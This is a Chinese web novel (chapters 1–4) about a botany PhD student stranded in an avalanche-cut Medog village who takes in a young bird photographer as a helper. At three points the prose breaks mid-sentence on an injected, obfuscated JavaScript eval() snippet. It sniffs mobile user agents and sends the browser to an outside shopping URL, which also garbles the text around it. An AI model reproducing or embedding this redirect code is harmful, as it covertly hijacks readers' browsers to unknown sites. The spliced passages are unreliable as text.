《鸟我一下行不行》 1. 金线兰 今天是付舟回到墨脱的第三天。 他觉得自己要完蛋了。 为了近距离观察一朵攀在崖壁上的金线兰,他踩着一双不具有任何抓地力的老旧运动鞋登上满是苔藓的石头,拼命踮脚,然后毫不意外的脚下一滑,结结实实摔了个跟头。 他按着肿胀的脚踝呆坐在地上,痛得倒抽冷气,带点愤恨意味的看了一眼那株叶子长有白色脉络的小兰花——快三米的生长位置对于没有放大镜和相机的他来说几乎是远在天边。 付舟抓着旁边的树干把自己撑起来,小心收着力不去扯坏树干上攀附的五味子。 扭着的地方实在痛得没法沾地,他随手捡了一根枯枝做拐杖,准备回村里诊所看看。 他最后看了那金线兰一眼,嘱咐道:“我过两天再来看你,可别死了。” 说罢,看上去情况远比兰花的生存环境更为恶劣的付舟一瘸一拐地转身离去,顺道差点被突起的树根再绊个跟头。 没办法,金线兰是濒危物种,前几年几近野外绝迹,现在能在这么近的地方发现一株,付舟实在克制不了自己想要仔细研究的冲动。 他顺着山路往上爬,步履蹒跚,半个身子都是泥点,像个刚回归社会的野人。 回村里要经过新修的观景台,此时是早上八点多,西藏刚刚日出没多久,墨脱常年多雨,今天天气却难得晴朗,远处的南迦巴瓦峰沐浴在朝霞金辉里,美得让人屏息,付舟却无心观看。 观景台上有不少专程来看日照金山的游客,被他这副乞丐一般的尊容吓得够呛。 谢绝了几个热心游客的帮助,付舟直奔村里的诊所,被正式确诊为轻度扭伤。 他敷着冰袋,任由里头医生劈头盖脸一顿臭骂,因为这已经是他的“二进宫”——一天前他被树枝划伤,创口再深一点就要被赶去县城医院打破伤风针。 医生大姐骂骂咧咧,说他年轻人心浮气躁,一天到晚闲不下来,就不能等几天再进山吗? 付舟的藏语不算很好,只是刚刚够交流的水平,因此此时半闭着眼,任由对方的唠叨左耳朵进右耳朵出,嗯嗯两下权当回应。 医生一巴掌拍在他面前的桌上,震天动地,惊起一屋病号:“真要是受重伤,被你爷爷知道了怎么办?真是不知道那山旮旯里有什么好看的!” 付舟不做声了。 他爷爷在村里经营一家民宿,早就对宝贝孙子难得回来一次却老往深山老林里扎颇有微词,要是被他知道自己还因此受伤,免不了被发配去后院喂鸡喂猪,外加兼职民宿的前台接待工作。 付舟冲医生眨眨眼,好在他相貌生的好,有意讨饶的时候很招人稀罕:“阿姐,您就别告诉我爷爷了,就说我路上平地摔崴了脚行不?” 医生有点犹豫,付舟趁热打铁:“我回国一趟不容易,别再让他担心了。” “可没有下次了!”医生瞪他。 付舟连连点头,拄着拐正要往外走。 忽然跑进来一村民,语速飞快,以付舟的听力水平只捕捉到了“雪崩”和“封路”的字眼。 正值三月初,墨脱开始入春,山上积雪融化,进出又只有一条扎墨公路,雪崩导致封路是常有的事。 “没人受伤吧?”付舟问。 “没有没有,只是最近气温比往年热,雪崩也严重,听说嘎隆拉隧道那边全塌方了,估计得封个一周多。” 一周?! 付舟两眼一黑。 他这次回国何止是不容易,简直可以用命运多舛来形容。 先是从伦敦飞到迪拜转机,飞机延误害得他在迪拜机场滞留了整整一晚上,而这仅仅是一个开始。 第二步,再由成都转机去拉萨,飞行总时长接近四十小时。 下飞机的那一刻他腿软直接跪在地上,空乘以为他高反发作直接叫来医护把他当场抬走,好在付舟这个有着二分之一西藏血统且爱好在野外工作的人体质良好,只是单纯累瘫了。 长途飞行本身就已经够折磨人,而更为倒霉的事情还在后头。 装有他的所有纸质资料、工作服、样本采集工具、标本制作工具和相机的重达二十八公斤的行李箱全部——没有装机! 一想到他的宝贝们孤苦伶仃地留在和他隔着一整个欧洲、中亚外加一座喜马拉雅山的希思罗机场,付舟就心如刀割。 他在拉萨呆了两天,期间不断发邮件打电话和机场以及航空公司扯皮,确保行李正在顺利发往国内后又忙不迭地去赶先前订好的从拉萨到林芝的动车。 此时距离他从伦敦出发已经过去整整五天。 五天啊五天。 晚上八点他终于坐着巴士抵达林芝市下属的波密县,找了个青旅草草休息一晚,他乘着早上的班车,历经四个小时才算抵达墨脱县。窗外从高寒皑皑白雪到河谷热带雨林的景色他是一概没看——他上车之后就睡死了。 最后一步,付舟租了辆车开到他老家所在的村里,下车时思维混乱,精神萎靡,已然成为一具行尸走肉。 不过他感觉自己的屁股比自己的精神还死,来上这一趟不管是金屁股还是银屁股大概都完了,或者不如说他的屁股仿佛已经被永远留在了阴雨连绵的英伦三岛。 行李到西藏后被暂时寄存在机场,原计划是这两天开车回去取。 现在雪崩封路,他又扭脚,没有装备,也不知道什么时候才能重新上山。 付舟知道不该贸然到丛林里考察,所以他并没有真正进到深处,这几天最多只是在游客也会去的外围转转。 但是他急啊——还有一年多就要毕业,课题还没有着落,毕业之后的去向更是一片迷茫,在乱七八糟地虚度了两个月后,他的导师委婉地暗示他是否应该GAP一段时间: “付,你的研究方向是高原植物群落保护,之前你不是说过你老家是西藏吗?为什么不回去看看?” 英国人说话委婉,付舟明白导师的意思是他在这里完全帮不上忙,不如麻溜滚回家自己沉淀去。 不过付舟想想也是,实地调查至少比在学校自己啃资料好多了,正好他读书太忙也两年多没回国看过爷爷,于是付同学收拾细软,连夜逃离大不列颠。 本以为回到西藏会让他心平气和一点,结果事与愿违,他烦得每天太阳穴里突突跳个不停,也不知是心理因素还是高反。 ——墨脱海拔不过一千米上下,所以大概率是烦的。 他拄着拐在村里慢慢地走,企图让自己发热的头脑被来自雪域高原的凉风吹清醒一些,突然有冰水滴在他脸上。墨脱的初春天气和伦敦一个破德性,动不动就开始飘小雨。 好烦。 滞留的游客估计挺多,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513132|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段时间家里很忙,要是有个帮手就好了······付舟这么想着,没留神就走到了村口公路。 往墨脱外的路上已经拉起了警戒线,旁边放着个喇叭在循环播放: “前方道路发生雪崩,存在二次塌方隐患,现实施停运管制,恢复时间另行通知。” 付舟越听越悲凉,越听越凄楚,他的心已经飞到了拉萨贡嘎机场,此时大概正在行李寄存处盘旋。 偶尔会有几个游客和村民过来瞅一眼路口状况,但看也没法把路看通,所以大家只能摇摇头叹着气离开。 “章老师你怎么能这样?你怎么能随随便便就把房退了呢?现在好了,墨脱封路,民宿客满,我住哪里啊?荒野求生?” 一个正在打电话的男人引起了付舟的注意。 男人背对着他站在路口,高个子,肩宽腿长,穿一件审美堪忧的黄绿色荧光冲锋衣,让本该十分养眼的背影变得有些一言难尽。 “什么叫我不要搞七捻三?行,那你想个灵一点的法子,我等着。” 搞七捻三······上海人?付舟依稀记得自己有几个同学用过这个词。 墨脱通车后旅游业颇为火爆,付舟这几天也已经见了不少五湖四海的游客,不过眼前的男人并不像是单纯来旅游的。他背一个鼓鼓囊囊的登山包,边打电话边焦躁地原地踱步,登山靴发出很响的敲击地面的声音,胸前挂着个“大炮”:一个配有巨大长焦镜头的相机。 脚下的行李箱边上放着——放着两箱可乐? 总而言之,男人看上去有些狼狈,活像是被连人带行李遗弃在了路口。 被付舟拐杖的动静惊动,刚刚挂掉电话的男人抬眼和他对上视线。 让付舟意外的是这人看着年纪并不大,肯定不超过二十五岁,相貌英俊,一头明显精心打理过的卷发被雨水打湿了,有点蔫巴,垂头丧气的。 年轻男人死死盯着他看,欲言又止。 付舟被他盯得有点发毛,莫名从那双漂亮眼睛里品出了渴望、狂喜、克制等种种复杂而强烈的情绪,不由得心中警铃大作。 “好漂亮······”男人盯着他喃喃道。 付舟简直不敢相信自己的耳朵。 试问:一个第一次见面的人突然用很奇怪的眼神看你还夸你好漂亮代表什么? A:他对你一见钟情了。 B:他是个危险的变态。 付舟今年二十六岁,搞学术上山下地搞得灰头土脸,自认为已经过了会被帅哥一见钟情的年龄,所以这个陌生人大概率是个危险的变态。 面对有潜在威胁的变态,应该先慢慢劝导让他冷静下来。 不过要是劝导没用,付舟想,我还略懂一些拳脚,必要时拐杖也能派上用场。 他正准备开口,男人忽然开口,小声说:“别动。”同时面露兴奋。 付舟是真的有点害怕了,脑子里开始循环播放从小到大听说的各种杀人越货的案例,远到小时候家里用来恐吓自己的人贩子,近到在飞机上看的三字食人魔。 这种恐惧在男人猛地举起相机开始对着他狂按快门并嘟囔着“宝贝儿看镜头”的时候达到了顶峰。 “你干什么?再拍我报警了!”付舟说。 在他说话的时候,他忽然捕捉到背后有明显的扇动翅膀的声音。 2. 雪鸽 “啊,你把它吓跑了。” 男人放下相机,语气里带点遗憾的意思。 付舟困惑地回头,刚好捕捉到消失在屋后的淡褐色尾羽。他还是有点警惕,问那人: “你刚刚拍的照片能不能给我看一下?” 年轻人一头雾水,打开相机过来举给他看:“在墨脱拍鸟是违法的?我没听说啊。” 付舟低头去看,只见画面捕捉到一只头颈灰色,翅膀洁白缀着褐边的鸟展翅欲飞的瞬间,配上后头民居的红墙,配色恰当,构图极好。唯一美中不足的镜头前的黑影——正是如奶油般化开的他本人。 原来不是变态,是观鸟佬啊,付舟如释重负。 对方惴惴不安:“是拍摄野生动物需要报备?抱歉,我之前没了解到有这个手续……” 付舟一时不知道该怎么回答,因为他现在正在为刚才的自作多情而尴尬地冒烟。 正当他还在组织语言,却见年轻人一脸紧张地双手奉上一个文件袋,见他不方便还把里头的东西通通掏出来。 “请问,你是不是边检站的啊?” 他低头一看,身份证、驾驶证、边防证、工作证和机票一应俱全。 原来年轻人名叫燕栖山,比他小三岁,大概刚刚大学毕业,现在是国内一家颇有名气的自然科普杂志的实习摄影编辑。 他赶紧示意燕栖山把东西放回去。 “你误会了,我不是查户口的。”付舟忍着笑,“没订到住处的话,要不要回县里看看?” 燕栖山摇摇头:“我来的时候回县里的路已经堵死了,听说是有交通事故,而且现在别人也急着找地方住,我带着这么多装备不好找车。” 紧接着付舟听这小孩开始解释他是如何还没从上海出发就得到了同事因为高反倒在拉萨医院的噩耗,这位第一次出野外的年轻摄影师思来想去,决定自己从上海直接飞到林芝米林机场——林芝海拔低,三千多米,没有拉萨那么容易高反。 好在他天赋异禀,落地后毫无不适,但为了保险起见,他还是开始狂灌可乐。 看这个购买量应该只是单纯想喝,付舟腹诽道。 燕栖山口若悬河,最后话题落在同事误以为行程变动,大包大揽地退了他们订的民宿。 所以这就是为什么他现在会茫然而无助地站在墨脱不到十度的冷风里。 不过这些都不重要了,燕栖山暗自想。 因为他平生第一次,真真切切地用自己的眼睛看到了——一只雪鸽。 他来西藏之前已经做足功课,对高原常见的鸟类了如指掌,可这还是比不上亲眼看到的时候,仿佛神话里的生物突然出现在他面前。 从上海到西藏要飞十个小时,但现代交通让人对于移动距离很难有实感,他总觉得自己没离家多远。 我已经在西藏了,我在墨脱了,陌生而熟悉的鸟儿让燕栖山恍然大悟。 当然这些他并不会告诉眼前的人。 除了和捎他来的司机道谢付钱,他还没和当地人说上话,不过眼前这个拄着拐的男人并不像是当地人,或者说是不像在西藏久居的人——男人皮肤冷白,头发乌黑,五官轮廓锋利,是一副清俊的好相貌,只是漂亮得略有点扎人眼睛。 然而燕栖山是个彻彻底底的“鸟性恋”,对帅哥美女都不怎么感冒,再加上刚刚男人宣称要报警的样子实在严厉,燕栖山总觉得自己是不是做错了什么。 他鬼鬼祟祟地偷看付舟,却发现对方正在以一种审视的态度打量他。 目光坦坦荡荡。 付舟正在评估燕栖山:个子比他高一点,估摸着总有一米八五朝上,肤色健康,身材也不错,估计体力是够的,林子里徒步没问题。至于装备……自然杂志来野外拍摄,三脚架、头灯、登山杖之类的基础设备应该都有,虽然不一定有微距镜头,但那个相机他凑合着也能用。 这不是上天给我送来的优质壮丁吗? 想着想着,付舟看燕栖山的表情变得异常热切,完全不像是倒霉蛋看倒霉蛋的惺惺相惜,反而更接近资本家看手底下员工的眼神。 被蒙在鼓里的燕栖山不知道自己可怜的剩余价值已经被付舟翻来覆去计算了几遍,又忧心忡忡地问:“村里有一人行的游客接受拼房吗?我可以打地铺,房费不是问题……” “你住我家。” 付舟腾不出手,无法达到拍肩的效果,只能语重心长地拿拐杖戳戳燕栖山的靴子。 燕栖山呆住了:“这怎么好意思……” “不要紧,我家开民宿的,总能找到地方给你住。”说罢,付舟开始带着燕栖山往村里走。 燕栖山一手拖箱子,一手扛着他那两箱可乐,说话连珠炮似的:“价格怎么算呢?我明白现在情况特殊,多收我也接受,但能不能给我一个准确的加价标准?然后您是民宿的经营人吗,如果可以的话可不可以看一下营业执照再签个合同?对了,还没有问您叫什么——” 嗯,很有安全意识,付舟想,我喜欢思虑周全的人,沟通起来轻松。 他停下脚步:“我叫付舟,付出的付,方舟的舟。经营人是我爷爷格桑次仁,营业执照店门口挂了,等下你可以去核对,旅游APP上也能查到。” 紧接着燕栖山看到这个叫付舟的男人第一次冲他笑了,笑得阳光灿烂、风流倜傥,让他顿感不妙。 “我不要你的房费,你可以……”虽然他中文还算不错,但毕竟小学就出了国,一时间付舟突然想不到该怎么简短的表达让对方协助自己考察来抵房费。 打工?兼职?Work-relief(以工代赈)? 他突然福至心灵: “你可以以身相许!” 燕栖山目瞪口呆,生生倒退两步。 他眼型是圆圆的下垂眼,面露惊恐的时候显得特别嫩,看上去跟还没毕业的学生一样。 付舟意识到自己说错话了,可也没想清楚具体错在哪里,急中生智:“许仙和白娘子,白娘子不就说要以身相许,然后她给许仙打下手?我记得是经营药铺什么的……” 燕栖山绝望道:“许仙和白素贞结婚了!在一起了!” 哦,原来以身相许是这么个意思。 燕栖山又警惕地问他:“你是中国人吗?不会要把我卖到国外去吧?” 这下好了,把别人当成变态者人恒变态之。 为了自证,付舟不得不当场用梯子翻墙到他学校的官网,点开植物学专业生态系统保护分支下的PhD学生名单,指给他看自己的名字和后面大大的:China。 “所以你想让我和你一起去林子里考察,顺便帮你爷爷打理民宿?可以啊,正好拍摄工作没个照应也不行,我不懂藏语,找向导什么的还得拜托你。”燕栖山确认了付舟不会把他腰子噶了之后爽快应下来。 格桑次仁的民宿在村子角落里,就两层共四间客房再加个付舟住着的阁楼,多了老人家也忙不过来,毕竟他还养着一大群鸡和几只藏香猪。 燕栖山经过鸡棚的时候盯着那些鸡移不开视线,付舟以为他魔怔了连西藏的鸡都要纳入收藏夹,问他等下要不要抓几只过来让他拍,结果这小子回复早就听说墨脱石锅鸡很有名,真想尝一尝。 得,原来是黄鼠狼的目光。 付舟用藏语和格桑次仁沟通了一下,多个帮手他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513133|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷自然不反对,虽然燕栖山以格桑次仁的标准过于花里胡哨,看着像个不靠谱的年轻人,但他是山外来的,墨脱通路并翻新村子之后格桑次仁就对山外来的人充满好感。 当然他在对话里模糊了他俩要一块儿进山的内容,只说燕栖山是上海来的摄影师。 “行李可以先放楼上,等下给你收拾个房间出来,客人吃午饭的时候需要麻烦你打扫一下餐厅。”付舟翻译道。 燕栖山垂下眼看他。 “……石锅鸡会有的,好好干。” 燕栖山咧嘴一笑,高高兴兴地上楼放行李,经过付舟的时候耳朵上银色耳坠直晃,仔细看他不止两个耳垂有装饰左边耳骨上也有,头发除烫卷外还挑染了亚麻色。 果然是花里胡哨的小孩,付舟想,进山的时候得提醒他别带了,掉在林子里不好。 他自己读大学前回西藏被爷爷忽悠着按照传统打了个单边耳洞,偶尔戴戴绿松石什么的,不过后面太忙,耳朵上挂个东西对他来说也有点累赘,现在耳洞应该早就长回去了。 燕栖山收拾完就到餐厅去帮忙,他干活极其麻利,抓起抹布三下两下把木头桌子擦得锃亮,又忙不迭地跑到厨房帮格桑次仁洗碗上菜,边干活还边和客人聊天,来吃饭的那几家都是外地游客,本来因为被困在墨脱多少有点愁眉苦脸,被他哄得喜笑颜开。 格桑次仁意有所指地看看付舟,明摆着想说:看看人家。 付舟大感意外,燕栖山一身装备价格不菲,肯定不在单位报销的范畴,他本以为这又是个传统意义上十指不沾阳春水的“少爷”。 他拄着拐也想帮忙,结果只是极大的妨碍了别人,最后被爷爷赶出餐厅。 送走最后一波客人,已经完全被燕栖山收买的格桑次仁亲自去鸡棚抓了一只鸡回来准备做石锅鸡,燕栖山看来是真饿了,围着那只大叫不停的鸡乱转。 付舟被精力旺盛的小孩搞得头疼,不客气地问:“你来杀鸡?” 燕栖山连连摇头,让出位置。 付舟自幼在美食荒漠摸爬滚打,虽然厨艺未曾进步但至少擅长处理食材——问就是他曾脑子一抽在英超抢购到一整根黄标特价羊腿,用比指甲钳还钝的欧式餐刀割肉割得他万念俱灰,差点成为素食主义者。 他单脚站着,一手摁着鸡,一手拨开脖子上的毛,然后手起刀落。 燕栖山在后头“嘶”一声。 在他拔毛的时候,两个明显是游客的女生突然跑进来,一脸焦急,满头大汗,看来她们遇到了和燕栖山相同的困境——没地方住。 “老板,真的没有空房间了吗?就住一晚也行,明早我们就去找去县里的车。” 俩姑娘看样子真没办法了,苦苦哀求。 ——本来是有的,只是刚收拾给燕栖山。 总不能看人家流落街头,燕栖山立刻表示他随便在哪里打地铺都行,真是不知道他为什么对地铺这么执着。 格桑次仁赶紧制止他:“不要紧,小燕,你去和嘉措住一间。” 燕栖山东张西望,有点懵:“格桑大爷,这里谁是嘉措呀?” 付舟叹口气:“我——我的藏族名字后半部分是嘉措。” 他不在意有室友,只是那阁楼太小,他爷爷当年也不知道怎么想的,装了张两米的大床,弄得只放一张桌子和一些杂物的阁楼已经有点寸步难行,绝对是打不了地铺的。 他问燕栖山:“你晚上睡觉会乱动吗?打呼噜吗?” 燕栖山回答:“不会,至少据我所知不会,等一下,你这是什么意思?” 真是“好”极了,他即将和第一次见面的人同床共枕,付舟想。 3. 高山杜鹃 付舟不在意有室友,并不代表他习惯有室友。 他妈妈向来是个工作狂,早出晚归,他从小学到英国开始就一个人睡,早上爬起来啃个三明治倒杯牛奶,午饭学校解决,晚上回来啃个三明治倒杯牛奶,然后睡觉,如此日常周而复始,直到他上高中才有所改变。 不是他妈妈变闲了,而是他住宿了,高中宿舍仍然是单人间。 大学好歹变成合租,室友却是昼夜颠倒的作息,他们俩一天只在早上七点半碰面一次,付舟准备出门和室友说早安,室友打着哈欠走进卧室说晚安。 …… 其实最大的问题是他不习惯睡在一张床上的室友。 不过现在时间还早,他决定走一步是一步,付舟低下头,和那只拔完毛的鸡大眼瞪小眼。 墨脱石锅鸡,顾名思义,要点之一在于墨脱本地的石锅,但巧妇难为无米之炊,就算是手上有锅有鸡,以付舟本人被英格兰腌入味的厨艺,完全无法驾驭博大精深的中餐。 格桑次仁过来接过鸡,把鸡斩成小块准备泡水去腥。 暂时没他们忙的了,付舟有点无聊,他在学校天天被论文ddl追着抽,被迫成了个闲不下来的人,来西藏这几天也老想找点事做,不过总的来说以发呆为主。 他看一眼燕栖山,燕栖山正在热火朝天地打字。 “哎,加个微信?” 燕栖山点点头:“微信方便吗?x和ins我也有的,你稍等一下?” 付舟有点无语:“能别把我当成没常识的人吗?回国了我当然用微信啊。” 他扫燕栖山,对方头像是只灰色且略显鬼鬼祟祟的鸟,微信名倒是意外的简洁——“燕山”。不过他自己也差不多,头像是初始头像,昵称是名字拼音。 “这是?”他指着那鸟问。 “珠颈斑鸠,上海挺常见的。早上可吵……” “嘉措!带小燕去村里转转!”格桑次仁在厨房里大叫,“小燕,有啥忌口不?” 得,从来只见新人笑,哪见旧人哭,伤员在他们家都避免不了被投入劳动的结局。 燕栖山回复:“没,我啥都能吃!” 付舟费劲儿地给自己架起来,示意燕栖山跟上:“明天脚好点了带你去果果塘大拐弯,离这儿近,那里生态也好,有不少鸟。” 人家打白工,他总得当起导游的责任。 村里有旅游邮局,可以寄明信片到全国各地,不过邮政几个月才来收一次,所以效率颇低。 燕栖山兴冲冲地买了一张,开始填自己的地址,付舟看他买的那张上面印着仁青崩寺。 付舟提醒他:“以这里的邮递速度,你回去了应该还没寄到。” 燕栖山点点头,然后手一抬又买了五张。 他展示给付舟看:“这张给我爸妈,这张给我妹,这两张给我朋友。”最后一张被他填好地址后妥妥贴贴地收起来。 付舟问:“最后一张你留着收藏?” 燕栖山笑笑——付舟发现这小孩真是骨骼清奇,别人来西藏都被坎坷路途和高反搞得昏昏沉沉,只有燕栖山到处乱窜,还时时刻刻保持积极愉快的态度,实在令人叹为观止。 “我回上海之后寄给你啊,付哥,填你学校地址就行吧?”燕栖山眼睛亮亮的瞧他,容不得他不答应。 “……何必费这工夫,挂号信国际邮费不便宜。”真是人傻钱多,付舟把这个评价咽回去。 人傻钱多的燕先生自有他的一套理论:“不觉得在家里等明信片可有意思吗?某天检查一下许久不用的邮箱,发现里头有一张来自祖国另一头的明信片——你的话就是来自故乡。我小时候我爸经常出差,每次回来都说他寄了明信片,然后我就一直等啊等,那话怎么说来着?人在等待的时候最快乐。” 还……挺有道理的,付舟觉得自己有点被此人的逻辑绕进去了。 付舟问燕栖山准备在西藏呆多久,燕栖山说他们编辑部这次来是为了七月要推出的暑假专题——“中国鸟”,其中很大的一个板块就是西藏鸟类,原计划是他和老章先行来墨脱探路,呆个几天再回拉萨和后面的同事对接,然后分成藏南藏北两条线沿路拍摄,估计整个企划得折腾近两个月。 “那你们杂志经费挺充裕的,要是我们研究经费也这么多就好了。”付舟随口评价。 西藏的物价不便宜,更别提还要找向导找住处,一趟算下来总有六位数。 燕栖山回他,不十分在意的样子:“哪有,根本不够,上头只给报销六万,余下全是我贴的。” 我跟有钱人拼了,付舟想。 不过想想也是,搞这种到处乱跑的自然摄影的要么是专业科考,要么就得靠家底撑着——燕栖山开朗友善自来熟,清澈见底,一看就是资源和爱都很充足的家庭环境养出来的孩子,至于为什么执着于跑到野外来,大概是城里呆腻了来体验生活。 付舟在英国待久了,同学里不乏家庭条件好得吓人的,当然也有他这种一人就可以组成一个东亚家庭的:他同时具有出门打工的丈夫,勤俭持家的妻子和埋头苦学的孩子三相性。 世界有参差这件事,付舟早已接受良好。 他们在村里溜达几圈,天气转阴,南迦巴瓦峰已经消失在云层之后。 回到店里的时候炖鸡的香味扑鼻而来,墨脱石锅鸡是当地特色,来店的客人总是要点,付舟这两天已经闻惯了,燕栖山则是第一次闻见。 他一路奔波,没吃上什么像样的饭,这时候兴奋劲儿刚过,忽然惊觉自己饿得要命,自我感觉能吃掉一头牛。 墨脱是西藏少见的湿润地方,热带季雨林气候为大量菌菇提供了生长环境。 石锅鸡用猪骨汤打底,把鸡炖至软烂脱骨的同时加入大量菌菇,简直鲜掉眉毛。燕栖山饿极了,捧起碗就是一口,随即被烫得面目扭曲。 付舟扑哧一笑:“慢点儿喝,又没人和你抢。” 他推过来一碟辣椒酱:“要沾吗?” 燕栖山未察觉不对,捡了一块鸡肉裹满辣椒,闻闻并评价:“这个辣椒还挺香的。” 他把肉一口塞嘴里,随即瞪大眼,脸涨得通红,开始咳呛个不停,连眼泪都要流出来了。 藏南靠近四川,饮食嗜辣,再加上蘸水里多会加上藏地本土香料,风味极其独特,燕栖山江南来的,难免第一次吃习惯不了。 付舟天天吃白人饭,嘴里都淡出鸟,没老家调料不行——用调料刺激一下新认识的同胞一向是他在国外的特色项目。 他发小曾在海边度假时对来要付舟联系方式的路人评价:“付舟长得如花似玉,里头切开是黑的,一肚子坏水。” 话音刚落就被付舟一脚踹进海里。 燕栖山盯着他看,眼眶通红,泫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513134|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲泣——被辣的,他俩忽然陷入一片沉默。 尴尬。 付舟被燕栖山的自来熟带跑偏了,下意识地以为他们已经很熟悉,完全忘记他们才认识六个小时不到。 “抱……抱歉。”付舟说。 燕栖山嗓子被辣的有点哑:“为什么道歉?我没事,有点辣而已。很好吃,这是林芝的辣椒吗?走的时候我买一点。” 付舟还是觉得有点对他不住,想了想,把两个鸡腿全捡给燕栖山:鸡腿留给小孩吃,他妈妈以前是这么说的。 燕栖山嘴很甜:“谢谢付哥!” 他最开始是要喊付舟付老师的,吓得付舟赶紧拒绝——他就大他三岁,又不是什么有学问的人,这声老师他担不起。 饭后他们又出去散步,天还阴着,但比中午亮了些,走到林子边缘,付舟指给燕栖山看他们到时候该从哪里进去:“墨脱野生动物多,可以走兽道,一般情况下它们都会避着人。 这季节林子里蚂蝗多,记得把自己包严实了。” 燕栖山忽然叫起来,指着上面:“黄颊山雀!” 付舟顺着他指的方向往上看,没看到什么山雀,却猛然发现墨脱的杜鹃开花了,红艳艳的一片,那树足有十米高,人站在下面显得很小。大概是最近天气实在太热,连杜鹃花期也提早不少,把冷冷清清的初春一下弄得热闹非常。 燕栖山眼神实在是好,付舟看了半天才在杜鹃低矮些的枝条上发现一只黄脸黑羽的小鸟——果然是黄颊。 燕栖山猛拍几张,心满意足地收起相机,扭头问:“付哥,我们俩拍一张吧?” 没等付舟来得及反对,燕栖山就拖着他站到杜鹃下,举起手机,来了一张标准的游客照自拍。 此人的拍人水平仍然不敢恭维,只见他已经把靠近镜头的自己俨然拍成一个泡发的大饼,后面的付舟满脸讶异,完全没有表情管理。 “叮”一声,燕栖山还把这张丑照发给他。 好在后面的杜鹃拍的赏心悦目,付舟截下来当了微信头像。 “没想到那么高的树也是杜鹃,之前见到的都是那种观赏灌木,紫红色的,小时候我妈说有毒,从来没让我摸过……”燕栖山絮絮叨叨,付舟本想给他解释一下杜鹃的性状,这时突然有人给他打电话。 英国的,国际长途。 那个号码他很熟悉,付舟不敢不接,点通话的手有点抖,他把手机举到耳边,里头有个女声说: “付舟,你又去西藏了?” “……和你没关系。” “怎么没关系?你吃我的用我的,是我把你从那污糟地方带出来,以为自己打工赚生活费就能到处跑?真是翅膀硬了。”女人声音冷冷的。 “妈,我二十六了。”付舟说,在对面的气势下多少显得有点苍白。 “立刻回英国,不要让我催第二次。”女人挂了电话,没给他回复的机会。 付舟还保持着举着手机的姿势,他站在藏南日渐暗沉的暮色里,忽然觉得好无力。 燕栖山见他情绪不对,小心地凑过来看他,很有眼色,也没去问他怎么了。 付舟冲他笑笑,脸色难看:“……没事,回去吧,你第一天来墨脱得好好休息。” “嗯,我也困了,你爷爷刚刚说阁楼只有一张床……是睡一起的意思?” 靠,忘了还有这茬。 4. 银耳相思鸟 西藏天黑的晚,七点多的时候差不多天色才暗下去,洗漱完毕,付舟龟缩在他阁楼上的小桌子前开始给英国的发小发微信。 发小名叫谢文远,之所以叫这个名字可能是因为他妈是《三国演义》的狂热爱好者,不幸他是个手无缚鸡之力的书生,没能像张辽将军一样勇武。 付舟七岁出国的时候长得像个营养不良的豆芽,校长开学讲话一个字听不懂,左顾右盼之时发现旁边那排有一根略富态一些的豆芽正在低声啜泣。 开学典礼结束,礼堂的人渐渐走空,啜泣转为嚎啕,豆芽一边哭一边嚎:“我要妈妈!”——嚎的是中文。 付舟走过去,谢文远抬眼看他,抹抹眼泪,呜咽道:“Hello,my name is Ellan……”后来付舟得知他当时只会这一句英文。 彼时的付舟小朋友想了想,外套兜里摸出一包有可能是从中国带过去的皱巴巴的纸巾递给谢文远,然后简单粗暴的三个字丢过去:“说中文。” 时光荏苒,豆芽付舟已经长得玉树临风,谢文远同学则在英国文学和垃圾食品的摧残下长成了一颗黄豆——矮壮圆润且秃顶。 空间实在太小,付舟蜷得像个虾米,只能架着手艰难地用“两指禅”在电脑上敲,感觉自己迟早腰间盘突出。 【FUZHOU】今日查看金线兰的生长环境。 【专止小儿夜啼】今日撰写莎士比亚阅读报告一篇。 【专止小儿夜啼】干啥呢?咱俩是学习搭子吗?你还装上了! 【FUZHOU】…… 【专止小儿夜啼】话说你那行李拿了没?我不信你忍得住三天不出野外。 【FUZHOU】没,墨脱雪崩封路了,不过我找了个有装备的帮手。 消息刚发出去,“对面正在讲话”转了几遍,但谢文远似乎觉得不过瘾,一个语音电话打过来。 付舟有点无语:“喂,什么事?这里都晚上了。” 英国大概十点多,正是谢文远除了半夜之外最亢奋的时间:“哪来的什么帮手?你家那村我还不知道情况吗,常住人口才一百多……等等,难道是哪个小姑娘对你芳心暗许,自告奋勇要来帮你搞研究,唉,所托非人……” “你骂谁不是人?”付舟打断谢文元的八点档狗血剧情,“男的,Male!有钱有闲脾气好,身强力壮好进山,我……” 谢文远再次打断他:“你说的这人长的帅吗?还有,这里非人的意思是错误的人,你中文真得好好练练。” 